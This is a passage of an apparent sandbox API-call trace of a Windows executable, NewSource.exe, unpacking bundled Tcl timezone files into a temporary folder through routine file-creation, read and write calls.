FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0040.870] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0040.870] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.870] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.870] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.870] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.870] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0040.870] CloseHandle (hObject=0x10c) returned 1 [0040.870] GetLastError () returned 0x0 [0040.870] SetLastError (dwErrCode=0x0) [0040.870] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Atlantic\\Madeira") returned 73 [0040.870] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Atlantic\\Madeira" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\atlantic\\madeira"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0040.870] GetLastError () returned 0x2 [0040.870] SetLastError (dwErrCode=0x2) [0040.870] GetLastError () returned 0x2 [0040.870] SetLastError (dwErrCode=0x2) [0040.870] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Atlantic\\Madeira", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Atlantic\\Madeira", lpFilePart=0x0) returned 0x48 [0040.870] GetLastError () returned 0x2 [0040.870] SetLastError (dwErrCode=0x2) [0040.870] GetLastError () returned 0x2 [0040.870] SetLastError (dwErrCode=0x2) [0040.870] GetLastError () returned 0x2 [0040.870] SetLastError (dwErrCode=0x2) [0040.870] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Atlantic\\Madeira") returned 73 [0040.870] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0040.870] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Atlantic\\Madeira" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\atlantic\\madeira"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0040.882] GetFileType (hFile=0x10c) returned 0x1 [0040.882] htonl (hostlong=0x60250000) returned 0x2560 [0040.882] WriteFile (in: hFile=0x10c, lpBuffer=0x561090*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x4fcd00, lpOverlapped=0x0 | out: lpBuffer=0x561090*, lpNumberOfBytesWritten=0x4fcd00*=0x2000, lpOverlapped=0x0) returned 1 [0040.883] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0040.883] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0x560, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0x560, lpOverlapped=0x0) returned 1 [0040.883] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0040.883] CloseHandle (hObject=0x10c) returned 1 [0040.883] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0040.883] htonl (hostlong=0x30000000) returned 0x30 [0040.883] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0040.883] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0040.883] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0040.884] GetFileType (hFile=0x10c) returned 0x1 [0040.884] htonl (hostlong=0x23575b00) returned 0x5b5723 [0040.884] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x600723, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0040.884] htonl (hostlong=0xfb010000) returned 0x1fb [0040.884] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1fb) returned 0x550600 [0040.884] htonl (hostlong=0xfb010000) returned 0x1fb [0040.884] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0040.884] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0040.884] htonl (hostlong=0x77070000) returned 0x777 [0040.884] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x777) returned 0x55e278 [0040.884] htonl (hostlong=0xfb010000) returned 0x1fb [0040.884] htonl (hostlong=0x77070000) returned 0x777 [0040.884] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x561090 [0040.884] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0040.884] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0040.884] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0040.884] CloseHandle (hObject=0x10c) returned 1 [0040.884] GetLastError () returned 0x0 [0040.884] SetLastError (dwErrCode=0x0) [0040.884] GetLastError () returned 0x0 [0040.884] SetLastError (dwErrCode=0x0) [0040.884] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0040.884] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0040.884] GetFileType (hFile=0x10c) returned 0x1 [0040.884] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0040.884] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0040.884] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0040.885] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0040.885] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.885] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.885] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.885] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.885] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0040.885] CloseHandle (hObject=0x10c) returned 1 [0040.885] GetLastError () returned 0x0 [0040.885] SetLastError (dwErrCode=0x0) [0040.885] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0040.885] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0040.885] GetFileType (hFile=0x10c) returned 0x1 [0040.885] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0040.885] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0040.885] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0040.885] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0040.885] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.885] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.885] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.885] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.885] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0040.885] CloseHandle (hObject=0x10c) returned 1 [0040.885] GetLastError () returned 0x0 [0040.885] SetLastError (dwErrCode=0x0) [0040.885] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Atlantic") returned 65 [0040.886] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Atlantic" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\atlantic"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0040.886] GetFileType (hFile=0x10c) returned 0x1 [0040.886] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0040.886] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0040.886] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0040.886] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0040.886] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.886] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.886] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.886] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.886] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0040.886] CloseHandle (hObject=0x10c) returned 1 [0040.886] GetLastError () returned 0x0 [0040.886] SetLastError (dwErrCode=0x0) [0040.886] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Atlantic\\Reykjavik") returned 75 [0040.886] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Atlantic\\Reykjavik" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\atlantic\\reykjavik"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0040.886] GetLastError () returned 0x2 [0040.886] SetLastError (dwErrCode=0x2) [0040.886] GetLastError () returned 0x2 [0040.886] SetLastError (dwErrCode=0x2) [0040.886] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Atlantic\\Reykjavik", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Atlantic\\Reykjavik", lpFilePart=0x0) returned 0x4a [0040.886] GetLastError () returned 0x2 [0040.886] SetLastError (dwErrCode=0x2) [0040.886] GetLastError () returned 0x2 [0040.886] SetLastError (dwErrCode=0x2) [0040.886] GetLastError () returned 0x2 [0040.886] SetLastError (dwErrCode=0x2) [0040.886] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Atlantic\\Reykjavik") returned 75 [0040.887] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0040.887] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Atlantic\\Reykjavik" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\atlantic\\reykjavik"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0040.887] GetFileType (hFile=0x10c) returned 0x1 [0040.887] htonl (hostlong=0x77070000) returned 0x777 [0040.887] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0040.887] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0x777, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0x777, lpOverlapped=0x0) returned 1 [0040.888] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0040.888] CloseHandle (hObject=0x10c) returned 1 [0040.888] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55e278 | out: hHeap=0x530000) returned 1 [0040.888] htonl (hostlong=0x30000000) returned 0x30 [0040.888] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0040.888] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0040.888] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0040.889] GetFileType (hFile=0x10c) returned 0x1 [0040.889] htonl (hostlong=0x1e595b00) returned 0x5b591e [0040.889] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x60091e, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0040.889] htonl (hostlong=0x90000000) returned 0x90 [0040.889] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x90) returned 0x55cfe0 [0040.889] htonl (hostlong=0x90000000) returned 0x90 [0040.889] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0040.889] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0040.889] htonl (hostlong=0x9a000000) returned 0x9a [0040.889] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x9a) returned 0x550600 [0040.889] htonl (hostlong=0x90000000) returned 0x90 [0040.889] htonl (hostlong=0x9a000000) returned 0x9a [0040.889] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x561090 [0040.889] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0040.889] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55cfe0 | out: hHeap=0x530000) returned 1 [0040.889] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0040.889] CloseHandle (hObject=0x10c) returned 1 [0040.889] GetLastError () returned 0x0 [0040.889] SetLastError (dwErrCode=0x0) [0040.889] GetLastError () returned 0x0 [0040.889] SetLastError (dwErrCode=0x0) [0040.889] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0040.889] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0040.889] GetFileType (hFile=0x10c) returned 0x1 [0040.889] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0040.889] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0040.889] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0040.890] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0040.890] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.890] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.890] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.890] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.890] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0040.890] CloseHandle (hObject=0x10c) returned 1 [0040.890] GetLastError () returned 0x0 [0040.890] SetLastError (dwErrCode=0x0) [0040.890] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0040.890] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0040.890] GetFileType (hFile=0x10c) returned 0x1 [0040.890] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0040.890] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0040.890] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0040.890] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0040.890] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.890] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.890] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.890] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.890] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0040.890] CloseHandle (hObject=0x10c) returned 1 [0040.890] GetLastError () returned 0x0 [0040.890] SetLastError (dwErrCode=0x0) [0040.890] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Atlantic") returned 65 [0040.891] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Atlantic" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\atlantic"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0040.891] GetFileType (hFile=0x10c) returned 0x1 [0040.891] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0040.891] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0040.891] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0040.891] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0040.891] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.891] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.891] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.891] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.891] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) 